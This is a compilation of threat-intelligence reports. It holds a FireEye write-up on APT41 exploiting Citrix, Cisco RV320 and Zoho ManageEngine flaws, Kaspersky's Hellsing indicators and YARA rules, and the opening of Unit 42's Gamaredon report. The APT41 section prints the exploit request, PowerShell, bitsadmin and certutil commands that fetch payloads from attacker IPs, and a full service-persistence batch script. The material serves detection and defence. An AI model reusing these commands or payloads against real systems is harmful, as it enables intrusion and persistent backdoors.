3/13 POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1 Accept-Encoding: identity Content-Length: 145 Connection: close Nsc_User: ../../../netscaler/portal/templates/[redacted] User-Agent: Python-urllib/2.7 Nsc_Nonce: nsroot Host: [redacted] Content-Type: application/x-www-form-urlencoded urlhttp://example.comtitle [redacted]desc[ template.new(BLOCK  print /usr/bin/ftp -o /tmp/un ftp://test: [redacted]\66.42.98[.
]220/un) ] Figure 4: Example APT41 HTTP traffic exploiting CVE-2019-19781 Citrix released a mitigation for CVE-2019-19781 on December 17, 2019, and as of January 24, 2020, released permanent fixes for all supported versions of Citrix ADC, Gateway, and SD-WAN WANOP.
Cisco Router Exploitation On February 21, 2020, APT41 successfully exploited a Cisco RV320 router at a telecommunications organization and downloaded a 32-bit ELF binary payload compiled for a 64-bit MIPS processor named fuc (MD5: 155e98e5ca8d662fad7dc84187340cbc).
It is unknown what specific exploit was used, but there is a Metasploit module that combines two CVEs (CVE-2019-1653 and CVE-2019-1652) to enable remote code execution on Cisco RV320 and RV325 small business routers and uses wget to download the specified payload.
GET /test/fuc HTTP/1.1 Host: 66.42.98\.220 User-Agent: Wget Connection: close Figure 5: Example HTTP request showing Cisco RV320 router downloading a payload via wget 66.42.98[.
]220 also hosted a file name http://66.42.98[.
]220/test/1.txt.
The content of 1.txt (MD5: c0c467c8e9b2046d7053642cc9bdd57d) is cat /etc/flash/etc/nk_sysconfig, which is the command one would execute on a Cisco RV320 router to display the current configuration.
Cisco PSIRT confirmed that fixed software to address the noted vulnerabilities is available and asks customers to review the following security advisories and take appropriate action: Cisco Small Business RV320 and RV325 Routers Information Disclosure Vulnerability Cisco Small Business RV320 and RV325 Routers Command Injection Vulnerability Exploitation of CVE-2020-10189 (Zoho ManageEngine Zero-Day Vulnerability) On March 5, 2020, researcher Steven Seeley, published an advisory and released proof-of-concept code for a zero-day remote code execution vulnerability in Zoho ManageEngine Desktop Central versions prior to 10.0.474 (CVE-2020- 10189).
Beginning on March 8, FireEye observed APT41 use 91.208.184[.
]78 to attempt to exploit the Zoho https://support.citrix.com/article/CTX267027 https://nvd.nist.gov/vuln/detail/CVE-2019-1653 https://nvd.nist.gov/vuln/detail/CVE-2019-1652 https://www.rapid7.com/db/modules/exploit/linux/http/cisco_rv32x_rce https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-info https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-inject https://twitter.com/steventseeley/status/1235635108498948096?s20 https://srcincite.io/advisories/src-2020-0011/ https://srcincite.io/pocs/src-2020-0011.py.txt https://nvd.nist.gov/vuln/detail/CVE-2020-10189 4/13 ManageEngine vulnerability at more than a dozen FireEye customers, which resulted in the compromise of at least five separate customers.
FireEye observed two separate variations of how the payloads (install.bat and storesyncsvc.dll) were deployed.
In the first variation the CVE-2020-10189 exploit was used to directly upload logger.zip, a simple Java based program, which contained a set of commands to use PowerShell to download and execute install.bat and storesyncsvc.dll.
java/lang/Runtime getRuntime ()Ljava/lang/Runtime Xcmd /c powershell client  new-object System.
Net.
WebClientclient.
DownloadFile(http://66.42.98[.
]220:12345/test/install.bat,C:\ Windows\Temp\install.bat)powershell client  new-object System.
Net.
WebClientclient.
DownloadFile(http://66.42.98[.
]220:12345/test/storesyncsvc.dll, C:\Windows\Temp\storesyncsvc.dll)C:\Windows\Temp\install.bat (Ljava/lang/String)Ljava/lang/Process StackMapTable ysoserial/Pwner76328858520609 Lysoserial/Pwner76328858520609 Figure 6: Contents of logger.zip Here we see a toolmark from the tool ysoserial that was used to create the payload in the POC.
The string Pwner76328858520609 is unique to the POC payload, indicating that APT41 likely used the POC as source material in their operation.
In the second variation, FireEye observed APT41 leverage the Microsoft BITSAdmin command-line tool to download install.bat (MD5: 7966c2c546b71e800397a67f942858d0) from known APT41 infrastructure 66.42.98[.
]220 on port 12345.
Parent Process: C:\ManageEngine\DesktopCentral_Server\jre\bin\java.exe Process Arguments: cmd /c bitsadmin /transfer bbbb http://66.42.98[.
]220:12345/test/install.bat C:\Users\Public\install.bat Figure 7: Example FireEye Endpoint Security event depicting successful CVE-2020-10189 exploitation In both variations, the install.bat batch file was used to install persistence for a trial-version of Cobalt Strike BEACON loader named storesyncsvc.dll (MD5: 5909983db4d9023e4098e56361c96a6f).
https://github.com/frohoff/ysoserial 5/13 echo off set WORK_DIRC:\Windows\System32 set DLL_NAMEstoresyncsvc.dll set SERVICE_NAMEStorSyncSvc set DISPLAY_NAMEStorage Sync Service set DESCRIPTIONThe Storage Sync Service is the top-level resource for File Sync.
It creates sync relationships with multiple storage accounts via multiple sync groups.
If this service is stopped or disabled, applications will be unable to run collectly.
sc stop SERVICE_NAME sc delete SERVICE_NAME mkdir WORK_DIR copy dp0DLL_NAME WORK_DIR /Y reg add HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost /v SERVICE_NAME /t REG_MULTI_SZ /d SERVICE_NAME /f sc create SERVICE_NAME binPath SystemRoot\system32\svchost.exe -k SERVICE_NAME type share start auto error ignore DisplayName DISPLAY_NAME SC failure SERVICE_NAME reset 86400 actions restart/60000/restart/60000/restart/60000 sc description SERVICE_NAME DESCRIPTION reg add HKLM\SYSTEM\CurrentControlSet\Services\SERVICE_NAME\Parameters /f reg add HKLM\SYSTEM\CurrentControlSet\Services\SERVICE_NAME\Parameters /v ServiceDll /t REG_EXPAND_SZ /d WORK_DIR\DLL_NAME /f net start SERVICE_NAME Figure 8: Contents of install.bat Storesyncsvc.dll was a Cobalt Strike BEACON implant (trial-version) which connected to exchange.dumb1[.
]com (with a DNS resolution of 74.82.201[.
]8) using a jquery malleable command and control (C2) profile.
GET /jquery-3.3.1.min.js HTTP/1.1 Host: cdn.bootcss.com Accept: text/html,application/xhtmlxml,application/xmlq0.9,/q0.8 Referer: http://cdn.bootcss.com/ Accept-Encoding: gzip, deflate Cookie: __cfduidCdkIb8kXFOR_9Mn48DQwhIEuIEgn2VGDa_XZK_xAN47OjPNRMpJawYvnAhPJYM DA8y_rXEJQGZ6Xlkp_wCoqnImD- bj4DqdTNbj87Rl1kIvZbefE3nmNunlyMJZTrDZfu4EV6oxB8yKMJfLXydC5YF9OeZwqBSs3Tun12BVFWLI User-Agent: Mozilla/5.0 (Windows NT 6.3 Trident/7.0 rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache 6/13 Figure 9: Example APT41 Cobalt Strike BEACON jquery malleable C2 profile HTTP request Within a few hours of initial exploitation, APT41 used the storescyncsvc.dll BEACON backdoor to download a secondary backdoor with a different C2 address that uses Microsoft CertUtil, a common TTP that weve observed APT41 use in past intrusions, which they then used to download 2.exe (MD5: 3e856162c36b532925c8226b4ed3481c).
The file 2.exe was a VMProtected Meterpreter downloader used to download Cobalt Strike BEACON shellcode.
The usage of VMProtected binaries is another very common TTP that weve observed this group leverage in multiple intrusions in order to delay analysis of other tools in their toolkit.
GET /2.exe HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Accept: / User-Agent: Microsoft-CryptoAPI/6.3 Host: 91.208.184[.
]78 Figure 10: Example HTTP request downloading 2.exe VMProtected Meterpreter downloader via CertUtil certutil  -urlcache -split -f http://91.208.184[.
]78/2.exe Figure 11: Example CertUtil command to download 2.exe VMProtected Meterpreter downloader The Meterpreter downloader TzGG was configured to communicate with 91.208.184[.
]78 over port 443 to download the shellcode (MD5: 659bd19b562059f3f0cc978e15624fd9) for Cobalt Strike BEACON (trial-version).
GET /TzGG HTTP/1.1 User-Agent: Mozilla/4.0 (compatible MSIE 8.0 Windows NT 6.0 Trident/4.0) Host: 91.208.184[.
]78:443 Connection: Keep-Alive Cache-Control: no-cache Figure 12: Example HTTP request downloading TzGG shellcode for Cobalt Strike BEACON The downloaded BEACON shellcode connected to the same C2 server: 91.208.184[.
]78.
We believe this is an example of the actor attempting to diversify post-exploitation access to the compromised systems.
ManageEngine released a short term mitigation for CVE-2020-10189 on January 20, 2020, and subsequently released an update on March 7, 2020, with a long term fix.
Outlook This activity is one of the most widespread campaigns we have seen from China-nexus espionage actors in recent years.
While APT41 has previously conducted activity with an extensive initial entry such as the trojanizing of NetSarang software, this scanning and exploitation has focused on a subset of our customers, and seems to reveal a high operational tempo and wide collection requirements for APT41.
https://www.fireeye.com/blog/threat-research/2019/08/game-over-detecting-and-stopping-an-apt41-operation.html https://www.fireeye.com/blog/threat-research/2019/10/lowkey-hunting-for-the-missing-volume-serial-id.html https://www.manageengine.com/products/desktop-central/remote-code-execution-vulnerability.html https://www.manageengine.com/products/desktop-central/rce-vulnerability-cve-2020-10189.html?utm_sourcerce-kb 7/13 It is notable that we have only seen these exploitation attempts leverage publicly available malware such as Cobalt Strike and Meterpreter.
While these backdoors are full featured, in previous incidents APT41 has waited to deploy more advanced malware until they have fully understood where they were and carried out some initial reconnaissance.
In 2020, APT41 continues to be one of the most prolific threats that FireEye currently tracks.
This new activity from this group shows how resourceful and how quickly they can leverage newly disclosed vulnerabilities to their advantage.
Previously, FireEye Mandiant Managed Defense identified APT41 successfully leverage CVE-2019-3396 (Atlassian Confluence) against a U.S. based university.
While APT41 is a unique state-sponsored Chinese threat group that conducts espionage, the actor also conducts financially motivated activity for personal gain.
Indicators Type Indicator(s) CVE-2019-19781 Exploitation (Citrix Application Delivery Control) 66.42.98[.
]220 CVE-2019-19781 exploitation attempts with a payload of file /bin/pwd CVE-2019-19781 exploitation attempts with a payload of /usr/bin/ftp -o /tmp/un ftp://test:[redacted]\66.42.98[.
]220/bsd CVE-2019-19781 exploitation attempts with a payload of /usr/bin/ftp -o /tmp/un ftp://test:[redacted]\66.42.98[.
]220/un /tmp/bsd /tmp/un Cisco Router Exploitation 66.42.98\.220 1.txt (MD5:  c0c467c8e9b2046d7053642cc9bdd57d) fuc (MD5: 155e98e5ca8d662fad7dc84187340cbc https://www.fireeye.com/mandiant/managed-detection-and-response.html https://content.fireeye.com/apt-41/rpt-apt41/ 8/13 CVE-2020-10189 (Zoho ManageEngine Desktop Central) 66.42.98[.
]220 91.208.184[.
]78 74.82.201[.
]8 exchange.dumb1[.
]com install.bat (MD5: 7966c2c546b71e800397a67f942858d0) storesyncsvc.dll (MD5: 5909983db4d9023e4098e56361c96a6f) C:\Windows\Temp\storesyncsvc.dll C:\Windows\Temp\install.bat 2.exe (MD5: 3e856162c36b532925c8226b4ed3481c) C:\Users\[redacted]\install.bat TzGG (MD5: 659bd19b562059f3f0cc978e15624fd9) C:\ManageEngine\DesktopCentral_Server\jre\bin\java.exe spawning cmd.exe and/or bitsadmin.exe Certutil.exe downloading 2.exe and/or payloads from 91.208.184[.
]78 PowerShell downloading files with Net.
WebClient Detecting the Techniques FireEye detects this activity across our platforms.
This table contains several specific detection names from a larger list of detections that were available prior to this activity occurring.
Platform Signature Name Endpoint Security BITSADMIN.EXE MULTISTAGE DOWNLOADER (METHODOLOGY) CERTUTIL.EXE DOWNLOADER A (UTILITY) Generic.mg.5909983db4d9023e Generic.mg.3e856162c36b5329 POWERSHELL DOWNLOADER (METHODOLOGY) SUSPICIOUS BITSADMIN USAGE B (METHODOLOGY) SAMWELL (BACKDOOR) SUSPICIOUS CODE EXECUTION FROM ZOHO MANAGE ENGINE (EXPLOIT) 9/13 Network Security Backdoor.
Meterpreter DTI.Callback Exploit.
CitrixNetScaler Trojan.
METASTAGE Exploit.
ZohoManageEngine.
CVE-2020-10198.Pwner Exploit.
ZohoManageEngine.
CVE-2020-10198.mdmLogUploader Helix CITRIX ADC [Suspicious Commands] EXPLOIT - CITRIX ADC [CVE-2019-19781 Exploit Attempt] EXPLOIT - CITRIX ADC [CVE-2019-19781 Exploit Success] EXPLOIT - CITRIX ADC [CVE-2019-19781 Payload Access] EXPLOIT - CITRIX ADC [CVE-2019-19781 Scanning] MALWARE METHODOLOGY [Certutil User-Agent] WINDOWS METHODOLOGY [BITSadmin Transfer] WINDOWS METHODOLOGY [Certutil Downloader] MITRE ATTCK Technique Mapping ATTCK Techniques Initial Access External Remote Services (T1133), Exploit Public-Facing Application (T1190) Execution PowerShell (T1086), Scripting (T1064) Persistence New Service (T1050) Privilege Escalation Exploitation for Privilege Escalation (T1068) Defense Evasion BITS Jobs (T1197), Process Injection (T1055) Command And Control Remote File Copy (T1105), Commonly Used Port (T1436), Uncommonly Used Port (T1065), Custom Command and Control Protocol (T1094), Data Encoding (T1132), Standard Application Layer Protocol (T1071) Appendix A: Discovery Rules The following Yara rules serve as examples of discovery rules for APT41 actor TTPs, turning the adversary methods or tradecraft into new haystacks for purposes of detection or hunting.
For all tradecraft-based discovery rules, we recommend deliberate testing and tuning prior to implementation in any production system.
Some of these rules are 10/13 tailored to build concise haystacks that are easy to review for high-fidelity detections.
Some of these rules are broad in aperture that build larger haystacks for further automation or processing in threat hunting systems.
import pe rule ExportEngine_APT41_Loader_String  meta: author  stvemillertime description This looks for a common APT41 Export DLL name in BEACON shellcode loaders, such as loader_X86_svchost.dll strings: pcre  /loader_[\x00-\x7F]1,\x00/ condition: uint16(0)  0x5A4D and uint32(uint32(0x3C))  0x00004550 and pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.
IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) 12))  rule ExportEngine_ShortName  meta: author  stvemillertime description  This looks for Win PEs where Export DLL name is a single character strings: pcre  /[A-Za-z0-9]1\.
(dllexedatbinsys)/ condition: uint16(0)  0x5A4D and uint32(uint32(0x3C))  0x00004550 and pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.
IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) 12))  rule ExportEngine_xArch  meta: author  stvemillertime description  This looks for Win PEs where Export DLL name is a something like x32.dat 11/13 strings: pcre  /[\x00-\x7F]1,x(326486)\.dat\x00/ condition: uint16(0)  0x5A4D and uint32(uint32(0x3C))  0x00004550 and pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.
IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) 12))  rule RareEquities_LibTomCrypt  meta: author  stvemillertime description  This looks for executables with strings from LibTomCrypt as seen by some APT41-esque actors https://github.com/libtom/libtomcrypt - might catch everything BEACON as well.
You may want to exclude Golang and UPX packed samples.
strings: a1  LibTomMath condition: uint16(0)  0x5A4D and uint32(uint32(0x3C))  0x00004550 and a1  rule RareEquities_KCP  meta: author  stvemillertime description  This is a wide catchall rule looking for executables with equities for a transport library called KCP, https://github.com/skywind3000/kcp Matches on this rule may have built-in KCP transport ability.
strings: a01  [RO] ld bytes a02  recv snlu a03  [RI] d bytes a04  input ack: snlu rttld rtold a05  input psh: snlu tslu a06  input probe a07  input wins: lu 12/13 a08  rcv_nxtlu\\n a09  snd(bufd, queued)\\n a10  rcv(bufd, queued)\\n a11  rcvbuf condition: (uint16(0)  0x5A4D and uint32(uint32(0x3C))  0x00004550) and filesize  5MB and 3 of (a)  rule ConventionEngine_Term_Users  meta: author  stvemillertime description  Searching for PE files with PDB path keywords, terms or anomalies.
sample_md5  09e4e6fa85b802c46bc121fcaecc5666 ref_blog  https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debug- details-part-one-pdb-paths-malware.html strings: pcre  /RSDS[\x00-\xFF]20[a-zA-Z]:\\[\x00-\xFF]0,200Users[\x00-\xFF]0,200\.pdb\x00/ nocase ascii condition: (uint16(0)  0x5A4D) and uint32(uint32(0x3C))  0x00004550 and pcre  rule ConventionEngine_Term_Desktop  meta: author  stvemillertime description  Searching for PE files with PDB path keywords, terms or anomalies.
sample_md5  71cdba3859ca8bd03c1e996a790c04f9 ref_blog  https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debug- details-part-one-pdb-paths-malware.html strings: pcre  /RSDS[\x00-\xFF]20[a-zA-Z]:\\[\x00-\xFF]0,200Desktop[\x00-\xFF]0,200\.pdb\x00/ nocase ascii condition: 13/13 (uint16(0)  0x5A4D) and uint32(uint32(0x3C))  0x00004550 and pcre  rule ConventionEngine_Anomaly_MultiPDB_Double  meta: author  stvemillertime description  Searching for PE files with PDB path keywords, terms or anomalies.
sample_md5  013f3bde3f1022b6cf3f2e541d19353c ref_blog  https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debug- details-part-one-pdb-paths-malware.html strings: pcre  /RSDS[\x00-\xFF]20[a-zA-Z]:\\[\x00-\xFF]0,200\.pdb\x00/ condition: (uint16(0)  0x5A4D) and uint32(uint32(0x3C))  0x00004550 and pcre  2
Hellsing Indicators of Compromise MD5s: 015915BBFCDA1B2B884DB87262970A11 036E021E1B7F61CDDFD294F791DE7EA2 04090aca47f5360b84f6a55033544863 055BC765A78DA9CC759D1BA7AC7AC05E 085FAAC21114C844529E11422EF684D1 0BA116AA1704A415812552A815FCD34B 0CBEFD8CD4B9A36C791D926F84F10B7B 0CC5918D426CD836C52207A8332296BC 0dfcbb858bd2d5fb1d33cd69dcd844ae 0F13DEAC7D2C1A971F98C9365B071DB9 0FFE80AF4461C68D6571BEDE9527CF74 13EF0DFE608440EE60449E4300AE9324 14309b52f5a3df8cb0eb5b6dae9ce4da 17EF094043761A917BA129280618C1D3 2682A1246199A18967C98CB32191230C 2CCE768DC3717E86C5D626ED7CE2E0B7 3032F4C7A6E4E807DD7B012FA4B43718 31B3CC60DBECB653AE972DB9E57E14EC 3A40E0DEB14F821516EADAED24301335 3de2a22babb69e480db11c3c15197586 4DBFD37FD851DAEBDAE7F009ADEC3CBD 4F19D5D2C04B6FC05E56C6A48FD9CB50 58670063EC00CAF0D2D17F9D52F0AC95 588f41b1f34b29529bc117346355113f 5dec2e81037b2d72320516e86a2bcfbd 5f776a0de913173e878844d023a98f1c 5fc86559ae66dd223265540fd5dfaf3b 621e4c293313e8638fb8f725c0ae9d0f 67E032085DC756BB7123DFE942E5DCA4 73396BACD33CDE4C8CB699BCF11D9F56 824C92E4B27026C113D766C0816428A0 8BEFABB08750548D7BA64717D92B71E0 8E5FD9F8557E0D39787DD205ABFFA973 9317458E0D8484B77C0B9FA914A98230 a23d7b6a81dc0b460294e8be829f564d a642c3dfd7e9dad5dc2a27ac6d8c9868 A6703722C6A1953A8C3807A6FF93D913 aa906567b9feb1af431404d1c55e0241 ac073ad83555f3748d481bcf796e1993 e8770d73d7d8b837df44a55de9adb7d5 fe07da37643ed789c48f85d636abcf66 CCs - hostnames and IPs: 122[.]10[.]9[.
]73 122[.]9[.]247[.
]4 122[.]10[.]9[.
]155 122[.]9[.]247[.
]4 23[.]88[.]236[.
]96 122[.]10[.]26[.
]24 a[.]huntingtomingalls[.
]com ack[.]philippinenewss[.
]com af[.]huntingtomingalls[.
]com afc[.]philippinenewss[.
]com afnews[.]philippinenewss[.
]com articles[.]whynotad[.
]com ccid[.]mooo[.
]com d6[.]philippinenewss[.
]com de[.]philippinenewss[.
]com dec[.]huntingtomingalls[.
]com df1[.]huntingtomingalls[.
]com df2[.]huntingtomingalls[.
]com df3[.]huntingtomingalls[.
]com df4[.]huntingtomingalls[.
]com df5[.]huntingtomingalls[.
]com email[.]philippinenewss[.
]com email[.]philstarnotice[.
]com files[.]philippinenewss[.
]com files[.]philstarnotice[.
]com freebsd[.]extrimtur[.
]com gr[.]philippinenewss[.
]com guaranteed9[.]strangled[.
]net hosts[.]mysaol[.
]com ima03[.]now[.
]im img02[.]mooo[.
]com imgs09[.]homenet[.
]org knl[.]russkoeumea[.
]com login[.]philstarnotice[.
]com mail[.]philippinenewss[.
]com my[.]philippinenewss[.
]com na[.]huntingtomingalls[.
]com na[.]philstarnotice[.
]com new[.]philippinenewss[.
]com news[.]huntingtomingalls[.
]com news[.]philstarnotice[.
]com ng[.]philstarnotice[.
]com ns01[.]now[.
]im ny[.]huntingtomingalls[.
]com ny[.]philstarnotice[.
]com philippinenews[.]mooo[.
]com philnews[.]twilightparadox[.
]com pic[.]philstarnotice[.
]com pm[.]philstarnotice[.
]com pop[.]philippinenewss[.
]com pop[.]philstarnotice[.
]com premium9[.]crabdance[.
]com second[.]photo-frame[.
]com shoping[.]jumpingcrab[.
]com so[.]philippinenewss[.
]com web[.]huntingtomingalls[.
]com web01[.]crabdance[.
]com webmm[.]indiadigest[.
]in wg[.]philippinenewss[.
]com zq[.]philippinenewss[.
]com flags13[.]twilightparadox[.
]com Domain registrations: huntingtomingalls[.
]com - ssdfsddfsqsdfsq.com philippinenewss[.
]com - sambieber1990yahoo.com philstarnotice[.
]com - sambieber1990yahoo.com Filenames: systemroot\system32\irmon32.dll systemroot\system32\FastUserSwitchingCompatibilityex.dll systemroot\system32\inetinfo32.dll systemroot\system32\drivers\drivers\diskfilter.sys systemroot\system32\usbcon.exe windir\temp\xKat.exe systemroot\system32\drivers\drivers\usbmgr.sys appdata\Microsoft\MMC\mmc.exe systemroot\system32\Iasex.dll systemroot\system32\Ipripex.dll mailto:ssdfsddfsqsdfsq.com mailto:sambieber1990yahoo.com mailto:sambieber1990yahoo.com windir\temp\mm_server.exe windir\temp\sys.exe windir\temp\test.exe Yara rules: rule apt_hellsing_implantstrings meta: version  1.0 filetype  PE author  Costin Raiu, Kaspersky Lab copyright  Kaspersky Lab date  2015-04-07 description  detection for Hellsing implants strings: mzMZ a1the file uploaded failed a2ping 127.0.0.1 b1the file downloaded failed b2common.asp cxweber_server.exe daction debugpath1d:\\Hellsing\\release\\msger\\ nocase debugpath2d:\\hellsing\\sys\\xrat\\ nocase debugpath3D:\\Hellsing\\release\\exe\\ nocase debugpath4d:\\hellsing\\sys\\xkat\\ nocase debugpath5e:\\Hellsing\\release\\clare nocase debugpath6e:\\Hellsing\\release\\irene\\ nocase debugpath7d:\\hellsing\\sys\\irene\\ nocase emsger_server.dll fServiceMain condition: (mz at 0) and (all of (a)) or (all of (b)) or (c and d) or (any of (debugpath)) or (e and f) and filesize  500000  rule apt_hellsing_installer meta: version  1.0 filetype  PE author  Costin Raiu, Kaspersky Lab copyright  Kaspersky Lab date  2015-04-07 description  detection for Hellsing xweber/msger installers strings: mzMZ cmdcmd.exe /c ping 127.0.0.1 -n 5cmd.exe /c del /a /f \s\ a1xweber_install_uac.exe a2system32\\cmd.exe wide a4S11SWFOrVwR9UlpWRVZZWAR0U1aoBHFTUl2oU1Y a5S11SWFOrVwR9dnFTUgRUVlNHWVdXBFpTVgRdUlpWRVZZWARdUqhZVlpFR1kEUVNSXa hTVgRaU1YEUVNSXahTVl1SWwRZValdVFFZUqgQBF1SWlZFVllYBFRTVqg a67dqm2ODf5N/Y2N/m6br3dnZpunl44g a7vd/m7OXd2ai/5u7a59rr7Ki45drcqMPl5t/c5dqIZw a8vd/m7OXd2ai/usPl5qjY2uXp69nZqO7l2qjf5u7a59rr7Kjf5tzr2u7n6euo4Xm39zl2qju5dqo 4Xm39zl2t/m7ajr19vf2OPr39rj5eaZmqbs5OSI Njl2tyI a9C:\\Windows\\System32\\sysprep\\sysprep.exe wide a10SystemRoot\\system32\\cmd.exe wide a11msger_install.dll a1200 65 78 2E 64 6C 6C 00 condition: (mz at 0) and (cmd  and   (2 of (a))) and filesize  500000  rule apt_hellsing_proxytool meta: version  1.0 filetype  PE author  Costin Raiu, Kaspersky Lab copyright  Kaspersky Lab date  2015-04-07 description  detection for Hellsing proxy testing tool strings: mzMZ a1PROXY_INFO: automatic proxy url  s a2PROXY_INFO: connection type  d a3PROXY_INFO: proxy server  s a4PROXY_INFO: bypass list  s a5InternetQueryOption failed with GetLastError() d a6D:\\Hellsing\\release\\exe\\exe\\ nocase condition: (mz at 0) and (2 of (a)) and filesize  300000  rule apt_hellsing_xkat meta: version  1.0 filetype  PE author  Costin Raiu, Kaspersky Lab copyright  Kaspersky Lab date  2015-04-07 description  detection for Hellsing xKat tool strings: mzMZ a1\\Dbgv.sys a2XKAT_BIN a3release sys file error.
a4driver_load error.
a5driver_create error.
a6delete file:s error.
a7delete file:s ok.
a8kill pid:d error.
a9kill pid:d  ok.
a10-pid-delete a11kill and delete pid:d error.
a12kill and delete pid:d  ok.
condition: (mz at 0) and (6 of (a)) and filesize  300000  rule apt_hellsing_msgertype2 meta: version  1.0 filetype  PE author  Costin Raiu, Kaspersky Lab copyright  Kaspersky Lab date  2015-04-07 description  detection for Hellsing msger type 2 implants strings: mzMZ a1s\\system\\d.txt a2_msger a3http://s/lib/common.asp?actionuser_loginuidslanshostsossproxy s a4http://s/data/s.1000001000 a5/lib/common.asp?actionuser_uploadfile a602X-02X-02X-02X-02X-02X condition: (mz at 0) and (4 of (a)) and filesize  500000  rule apt_hellsing_irene meta: version  1.0 filetype  PE author  Costin Raiu, Kaspersky Lab copyright  Kaspersky Lab date  2015-04-07 description  detection for Hellsing msger irene installer strings: mzMZ a1\\Drivers\\usbmgr.tmp wide a2\\Drivers\\usbmgr.sys wide a3common_loadDriver CreateFile error a4common_loadDriver StartService error  GetLastError():d a5irene wide a6aPLib v0.43  -  the smaller the better condition: (mz at 0) and (4 of (a)) and filesize  500000
1/16 February 3, 2022 Russias Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine (Updated Feb. 16) unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021 By Unit 42 February 3, 2022 at 1:00 PM Category: Government, Malware Tags: Advanced URL Filtering, APT, Cortex, DNS security, Gamaredon, next-generation firewall, primitive bear, Ukraine, WildFire This post is also available in:  (Japanese) Updated Feb. 16 to include new information on Gamaredon infrastructure and Indicators of Compromise (IoCs).
Executive Summary Since November, geopolitical tensions between Russia and Ukraine have escalated dramatically.
It is estimated that Russia has now amassed over 100,000 troops on Ukraines eastern border, leading some to speculate that an invasion may come next.
On Jan. 14, 2022, this conflict spilled over into the cyber domain as the Ukrainian government was targeted with destructive malware (WhisperGate) and a separate vulnerability in OctoberCMS was exploited to deface several Ukrainian government websites.
While attribution of those events is ongoing and there is no known link to Gamaredon (aka Primitive Bear), one of the most active existing advanced persistent threats targeting Ukraine, we anticipate we will see additional malicious cyber activities over the coming weeks as the conflict evolves.
We have also observed recent activity from Gamaredon.
In light of this, this blog provides an update on the Gamaredon group.
Since 2013, just prior to Russias annexation of the Crimean peninsula, the Gamaredon group has primarily focused its cyber campaigns against Ukrainian government officials and organizations.
In 2017, Unit 42 published its first research documenting Gamaredons evolving toolkit and naming the group, and over the years, several researchers have noted that the operations and targeting activities of this group align with Russian interests.
This link was recently substantiated on Nov. 4, 2021, when the Security Service of Ukraine (SSU) publicly attributed the leadership of the group to five Russian Federal Security Service (FSB) officers assigned to posts in Crimea.
Concurrently, the SSU also released an updated technical report documenting the tools and tradecraft employed by this group.
Given the current geopolitical situation and the specific target focus of this APT group, Unit 42 continues to actively monitor for indicators of their operations.
In doing so, we have mapped out three large clusters of their infrastructure used to support different phishing and malware purposes.
These clusters link to over 700 malicious domains, 215 IP addresses and over 100 samples of malware.
https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/ https://unit42.paloaltonetworks.com/author/unit42/ https://unit42.paloaltonetworks.com/category/government/ https://unit42.paloaltonetworks.com/category/malware-2/ https://unit42.paloaltonetworks.com/tag/advanced-url-filtering/ https://unit42.paloaltonetworks.com/tag/apt/ https://unit42.paloaltonetworks.com/tag/cortex/ https://unit42.paloaltonetworks.com/tag/dns-security/ https://unit42.paloaltonetworks.com/tag/gamaredon/ https://unit42.paloaltonetworks.com/tag/next-generation-firewall/ https://unit42.paloaltonetworks.com/tag/primitive-bear/ https://unit42.paloaltonetworks.com/tag/ukraine/ https://unit42.paloaltonetworks.com/tag/wildfire/ https://unit42.paloaltonetworks.jp/gamaredon-primitive-bear-ukraine-update-2021/ https://unit42.paloaltonetworks.com/ukraine-cyber-conflict-cve-2021-32648-whispergate/ https://unit42.paloaltonetworks.com/tag/gamaredon/ https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution/ https://www.bleepingcomputer.com/news/security/ukraine-links-members-of-gamaredon-hacker-group-to-russian-fsb/ https://ssu.gov.ua/uploads/files/DKIB/Technical20report20Armagedon.pdf 2/16 Monitoring these clusters, we observed an attempt to compromise a Western government entity in Ukraine on Jan. 19, 2022.
We have also identified potential malware testing activity and reuse of historical techniques involving open-source virtual network computing (VNC) software.
The sections below offer an overview of our findings in order to aid targeted entities in Ukraine as well as cybersecurity organizations in defending against this threat group.
Update Feb. 16: When we originally published this report, we noted, While we have mapped out three large clusters of currently active Gamaredon infrastructure, we believe there is more that remains undiscovered.
We have since discovered hundreds more Gamaredon- related domains, including known related-clusters, and also new clusters.
We have updated our Indicators of Compromise (IoCs) to include these additional domains and cluster observations.
Full visualization of the techniques observed, relevant courses of action and IoCs related to this Gamaredon report can be found in the Unit 42 ATOM viewer.
Palo Alto Networks customers receive protections against the types of threats discussed in this blog by products including Cortex XDR and the WildFire, AutoFocus, Advanced URL Filtering and DNS Security subscription services for the Next-Generation Firewall.
Related Unit 42 Topics Gamaredon, APTs Table of Contents Gamaredon Downloader Infrastructure (Cluster 1) -Cluster 1 History -Initial Downloaders -SFX Files and UltraVNC SSL Pivot to Additional Infrastructure and Samples File Stealer (Cluster 2) Pteranodon (Cluster 3) Conclusion -Protections and Mitigations Indicators of Compromise Additional Resources Gamaredon Downloader Infrastructure (Cluster 1) Gamaredon actors pursue an interesting approach when it comes to building and maintaining their infrastructure.
Most actors choose to discard domains after their use in a cyber campaign in order to distance themselves from any possible attribution.
However, Gamaredons approach is unique in that they appear to recycle their domains by consistently rotating them across new infrastructure.
A prime example can be seen in the domain libre4[.
]space.
Evidence of its use in a Gamaredon campaign was flagged by a researcher as far back as 2019.
Since then, Cisco Talos and Threatbook have also firmly attributed the domain to Gamaredon.
Yet despite public attribution, the domain continues to resolve to new internet protocol (IP) addresses daily.
